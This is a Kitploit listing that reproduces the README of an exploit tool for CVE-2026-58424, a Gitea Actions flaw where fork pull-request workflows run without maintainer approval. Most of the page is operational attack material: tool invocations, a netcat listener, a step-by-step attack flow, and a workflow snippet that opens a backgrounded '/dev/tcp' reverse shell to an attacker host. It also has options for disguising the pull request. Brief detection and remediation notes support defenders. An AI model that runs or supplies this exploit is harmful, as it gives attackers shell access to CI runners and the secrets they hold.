Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-58424 — A flaw in Gitea Open Source Git Server’s approval‑gate logic allows a pull request that originates from a permanent fork to merge without satisfying the repository’s configured approval gates. | Kitploit
Tools/GitHubGitHub/bridgeralderson/cve-2026-58424
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationRed TeamingPayload Development
GitHubbridgeralderson/cve-2026-58424

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-58424

A flaw in Gitea Open Source Git Server’s approval‑gate logic allows a pull request that originates from a permanent fork to merge without satisfying the repository’s configured approval gates.

View Repository
251 month agoNot yet reviewed

CVE-2026-58424 - Gitea Fork PR Workflow Approval Gate Bypass

Severity: High (CVSS 8.9) Affected: Gitea ≤ 1.26.2 Fixed in: Gitea 1.26.3 Advisory: GHSA-777r-4v59-6486


Vulnerability Description

Gitea Actions enforces an approval gate on workflow runs triggered by fork pull requests. The gate is implemented in ifNeedApproval() and is intended to prevent untrusted contributors from executing arbitrary code via CI pipelines.

The flaw is that ifNeedApproval() is only correctly applied to the pull_request event. Each event type listed in a workflow's on: block produces an independent ActionRun object with its own approval check. When an attacker widens the on: block to include events like pull_request_review, issue_comment, or pull_request_review_comment, those runs are dispatched without going through the approval gate.

Triggering any of these unguarded events - for example, posting a PR review comment - immediately starts the workflow run as the runner's service account, with no maintainer approval required.


Root Cause

The ifNeedApproval() function checks approval based on (repo_id, trigger_user_id) for the pull_request event, but does not apply this check consistently across all triggerable event types.

Vulnerable path:

root@kitploit:~
POST /repos/{owner}/{repo}/pulls/{index}/reviews
  -> Gitea creates ActionRun with event=pull_request_review
  -> ifNeedApproval() not called for this event type
  -> Job dispatched to runner immediately

Requirements

RequirementDetail
Gitea accountAny authenticated user with fork permission
Target repoGitea Actions must be enabled
Runneract_runner must be online and registered
NetworkAttacker host must be reachable from the runner

PoC Usage

Installation

root@kitploit:~
# Minimum
pip install requests

# For Kerberos/Negotiate auth
pip install requests requests-gssapi

Auth Mode 1 - API Token

Via browser: Settings -> Applications -> Generate Token Scopes needed: repository write + issue write.

Via API:

root@kitploit:~
curl -s -X POST http://gitea.example.com:3000/api/v1/users/<username>/tokens \
  -u "<username>:<password>" \
  -H "Content-Type: application/json" \
  -d '{"name":"pwn","scopes":["write:repository","write:issue"]}'

Run:

root@kitploit:~
python3 poc.py \
  --url http://gitea.example.com:3000 \
  --token <token> \
  --target-owner <owner> \
  --target-repo <repo> \
  --lhost <attacker-ip> \
  --lport 4444

Auth Mode 2 - Kerberos/Negotiate

For Gitea instances that only accept Kerberos/SPNEGO (Active Directory environments with SSPI enforced). Must run from a domain-joined host with a valid TGT.

root@kitploit:~
kinit [email protected]
klist

python3 poc.py \
  --url http://gitea.corp.local:3000 \
  --negotiate \
  --target-owner <owner> \
  --target-repo <repo> \
  --lhost <attacker-ip> \
  --lport 4444

If DNS resolution fails, configure /etc/krb5.conf:

root@kitploit:~
[libdefaults]
    default_realm = DOMAIN.LOCAL
    dns_lookup_realm = false
    dns_lookup_kdc = true
    rdns = false

[realms]
    DOMAIN.LOCAL = {
        kdc = <DC_IP>
        admin_server = <DC_IP>
    }

[domain_realm]
    .domain.local = DOMAIN.LOCAL
    domain.local = DOMAIN.LOCAL

All Options

root@kitploit:~
--url               Gitea base URL (required)
--token             API token
--negotiate         Kerberos/SPNEGO auth (kinit first)
--cookie            Session cookie string

--target-owner      Target repo owner (required)
--target-repo       Target repo name (required)
--lhost             Attacker IP for reverse shell (required)
--lport             Attacker port (required)

--runner-label      Runner label to target (default: tries common labels)
--detect-label      Auto-enumerate runner labels before exploiting
--fork-name         Custom fork name (default: <repo>-<random>)
--workflow-name     Custom workflow filename (default: ci-<random>.yml)
--pr-title          Custom PR title (default: random realistic string)
--review-body       Custom review comment (default: random)
--payload-type      bash / python3 / nc / custom (default: bash)
--custom-payload    Shell command (use with --payload-type custom)
--no-cleanup        Leave PR open after exploit
--cleanup-delay     Seconds before cleanup (default: 30)

Listener

root@kitploit:~
nc -lvnp 4444

Attack Flow

root@kitploit:~
1. Authenticate to Gitea API
2. Fork target repo into attacker namespace
3. Enable Actions on fork
4. Inject malicious workflow with bypass events in on: block
5. Remove inherited workflows from fork (prevents runner interference)
6. Open PR: attacker/fork:main -> target/repo:main
7. POST /repos/target/repo/pulls/1/reviews {"event":"COMMENT","body":"..."}
   -> pull_request_review event fires
   -> ifNeedApproval() NOT called
   -> ActionRun dispatched immediately
8. Runner executes payload -> reverse shell as runner service account

Runner Lifecycle Note

By default act_runner is single-worker. If the reverse shell step does not exit cleanly, the runner stays in "running" state and ignores new jobs.

To avoid this, background the shell:

root@kitploit:~
- name: run
  run: |
    setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' &
    sleep 1
    exit 0

Or use --custom-payload to pass a daemonized one-liner directly.


Detection

  • ActionRun entries with event=pull_request_review or event=issue_comment originating from fork PRs
  • Workflow files in fork repos containing pull_request_review triggers with shell execution steps
  • Unexpected outbound connections from the runner host after PR review activity

Remediation

ActionDetail
UpgradeGitea 1.26.3+ patches this issue
WorkaroundDisable Gitea Actions on repos with untrusted contributors
AuditReview fork PRs and associated workflow runs for unexpected executions
RestrictLimit fork permissions to trusted users

References

  • GHSA-777r-4v59-6486
  • NVD - CVE-2026-58424

Disclaimer

For authorized security testing and research only. Do not use against systems without explicit written permission.

Download Tool